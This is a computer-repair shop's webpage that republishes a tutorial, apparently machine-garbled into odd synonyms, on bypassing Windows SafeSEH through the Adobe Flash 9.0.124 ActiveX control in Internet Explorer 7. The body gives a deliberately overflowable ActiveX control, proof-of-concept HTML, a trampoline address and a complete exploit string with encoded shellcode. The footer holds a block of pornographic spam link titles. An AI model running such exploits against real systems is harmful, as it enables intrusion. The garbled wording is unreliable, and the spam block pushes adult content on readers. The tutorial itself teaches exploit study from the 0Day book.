錦州市廣廈電腦維修|上門維修電腦|上門做系統|0416-3905144熱誠服務,錦州廣廈維修電腦,公司IT外包服務
topFlag1 設為首頁
topFlag3 收藏本站
 
maojin003 首 頁 公司介紹 服務項目 服務報價 維修流程 IT外包服務 服務器維護 技術文章 常見故障
錦州市廣廈電腦維修|上門維修電腦|上門做系統|0416-3905144熱誠服務技術文章
如何運用ActiveX控件來躲過SafeS.E.H

作者: 佚名  日期:2017-10-11 17:43:38   來源: 本站整理

 [闡發情況] 體系: Windows XP Professional sp3
編譯器: Visual Studio 2008
調試器: OllyDbg 1.10
瀏覽器: Internet Explorer 7
控件版本: Adobe Flash ActiveX 9.0.124 , 這里要留意沒有9.2.124這個版本, 9.0.124是末了沒有啟用SafeS.E.H的。
闡明: 這篇文參考自《0Day》, 由于”應用Adobe Flash Player ActiveX控件繞過SafeS.E.H” 這節有一些小坑, 不留意能夠會試驗失敗, 以是寫了這篇文來一步一步超出這些坑。
相干下載:
OllyFindAddr 鏈接: https://pan.baidu.com/s/1o8E8l8A 暗碼: kc2bAdobe Flash ActiveX 9.0.124 鏈接: https://pan.baidu.com/s/1i5h802T 暗碼: 4sf3Internet Explore 7 鏈接: https://pan.baidu.com/s/1b9qMy6 暗碼: 8g88
0×01 后期籌備
新建一個MFC ActiveX控件, 增加一個test辦法


在test辦法完成里增加代碼


#include #include DWORD MyException(){    printf("There is an exception");    getchar();    return 1;}void CVulnerAX_SEHCtrl::test(LPCTSTR str){    //AFX_MANAGE_STATE(AfxGetStaticModuleState());    // TODO: 在此增加調劑處置法式代碼    printf("aaaa");    // 定位函數的標志    char dest[100];    sprintf(dest,"%s",str);    int zero=0;    try    {        zero=1/zero;    }    except(MyException())    {    }}

如圖設置好名目屬性, 抉擇release版本, 禁用優化, 編譯鏈接, 末了在cmd鍵入”Regsvr32 /path/to/activex.ocx”注冊控件
html>  body>  object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,28,0" width="160" height="260">  param name="movie" value="1.swf" />  param name="quality" value="high" />  embed src="1.swf" quality="high" pluginspage="http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash" width="160" height="260">embed>object>object classid="clsid:A15FD9CA-B0AA-4F51-9D26-B045CEEB9BA5" id="test">object>  script>  var s = "\u9090";while (s.length 45) {s += "\u9090";}test.test(s);  script>  body>  html>
新建一個txt文本, 帖入以上代碼, 更名為poc.html

留意這里的”clsid:A15FD9CA-B0AA-4F51-9D26-B045CEEB9BA5″, 在ActiveX工程里找到
0×02 闡發棧結構
雙擊poc.html主動挪用IE瀏覽器關上, 抉擇容許ActiveX控件


離開這里, 用OllyDbg附加下來

斷下后選”E”找到VulnerAX_SEH.ocx, 點出來, 在printf(“aaaa”)下斷運轉

斷下后離開call sprintf, 追隨棧地點, 再往下一步

能夠看到數據曾經copy到棧上, 肇端地點0x01dcf4e4

View->SEH chain, 定位到最近的SE Handler 0x01dcf560, 0x01dcf560-0x01dcf4e4=124 byte

Plugins->OllyFindAddr->Overflow return address->Find CALL/JMP [EBP+N], 抉擇”L”, 找到0x300b2d1c這個跳板

改動poc.html
var s = "\u9090";while (s.length 60) {s += "\u9090";}s+="\u9090\u9090";s+="\u2D1C\u300B";
再次關上, OD附加下來, 離開call sprintf再走一步, 如今SE Handler曾經籠罩成跳板地點

先在0x300b2d1c下斷, 離開這里Shift+F9運轉

斷下后跟進call, 能夠看到這時候回到了S.E.H結構


0×03 exploit
SE Handler的跳板地點會滋擾shellcode, 將shellcode全體放到上面, 用一個短跳跳曩昔
// junk(120 byte)+jmp short(2 byte)+junk(2 byte)+board(4 byte)+junk(8 byte)+payload(114 byte)var s = "\u9090";while (s.length 60) {s += "\u9090";}s+="\u0EEB\u9090";        # 0xEB0E->jmp +14(絕對于下一條指令地點+14 byte)s+="\u2D1C\u300B";        # 跳板s+="\u9090\u9090\u9090\u9090";        # junks+="\ud231\u30b2\u8b64\u8b12\u0c52\u528b\u8b1c\u0842\u728b\u8b20\u8012\u0c7e\u7533\u89f2\u03c7\u3c78\u578b\u0178\u8bc2\u207a\uc701\ued31\u348b\u01af\u45c6\u3e81\u6146\u6174\uf275\u7e81\u4508\u6978\u7574\u8be9\u247a\uc701\u8b66\u6f2c\u7a8b\u011c\u8bc7\uaf7c\u01fc\u68c7\u2067\u0120\u7968\u7530\u686e\u7720\u6f6f\ue189\u49fe\u310b\u51c0\uff50\u90d7";test.test(s);
如上構造250 byte的shellcode, OD再次附加下來, 離開call sprintf往下一步

F9間接運轉, pwn~



熱門文章
  • 機械革命S1 PRO-02 開機不顯示 黑...
  • 聯想ThinkPad NM-C641上電掉電點不...
  • 三星一體激光打印機SCX-4521F維修...
  • 通過串口命令查看EMMC擦寫次數和判...
  • IIS 8 開啟 GZIP壓縮來減少網絡請求...
  • 索尼kd-49x7500e背光一半暗且閃爍 ...
  • 樓宇對講門禁讀卡異常維修,讀卡芯...
  • 新款海信電視機始終停留在開機界面...
  • 常見打印機清零步驟
  • 安裝驅動時提示不包含數字簽名的解...
  • 共享打印機需要密碼的解決方法
  • 圖解Windows 7系統快速共享打印機的...
  • 錦州廣廈電腦上門維修

    報修電話:13840665804  QQ:174984393 (聯系人:毛先生)   
    E-Mail:174984393@qq.com
    維修中心地址:錦州廣廈電腦城
    ICP備案/許可證號:遼ICP備2023002984號-1
    上門服務區域: 遼寧錦州市區
    主要業務: 修電腦,電腦修理,電腦維護,上門維修電腦,黑屏藍屏死機故障排除,無線上網設置,IT服務外包,局域網組建,ADSL共享上網,路由器設置,數據恢復,密碼破解,光盤刻錄制作等服務

    技術支持:微軟等
    主站蜘蛛池模板: 精品无码成人片一区二区98 | 无码国产精成人午夜视频一区二区 | 亚洲国产日产无码精品| 亚洲av无码无线在线观看 | 自慰无码一区二区三区| 中文无码一区二区不卡αv| 天天看高清无码一区二区三区| 亚洲国产精品成人精品无码区 | 一本色道无码道在线观看| 无码专区永久免费AV网站| 国产成人A亚洲精V品无码| 西西444www无码大胆| 亚洲国产精品无码久久SM| WWW久久无码天堂MV| 亚洲av午夜精品无码专区| 亚洲日韩精品一区二区三区无码| 国产午夜av无码无片久久96| 人妻丰满AV无码久久不卡| 日韩人妻无码一区二区三区久久99| 特级小箩利无码毛片| 亚洲一区二区三区无码国产| 亚洲AV无码专区国产乱码电影 | 亚洲Aⅴ无码一区二区二三区软件 亚洲?V无码乱码国产精品 | 国产精品亚洲专区无码唯爱网| 亚洲AV无码一区二区乱子伦| 国产免费久久久久久无码| 最新亚洲人成无码网www电影| 一本久道综合在线无码人妻| 欧洲人妻丰满av无码久久不卡 | 伊人无码精品久久一区二区| 久久久无码精品亚洲日韩按摩 | 亚洲AV日韩AV高潮无码专区| 国产乱人无码伦av在线a| 国产亚洲大尺度无码无码专线 | 亚洲Av永久无码精品三区在线| 亚洲中文字幕无码久久精品1| 国产亚洲AV无码AV男人的天堂| 免费无码av片在线观看| 国产在线精品无码二区| 亚洲av无码国产精品色午夜字幕| 熟妇人妻中文字幕无码老熟妇|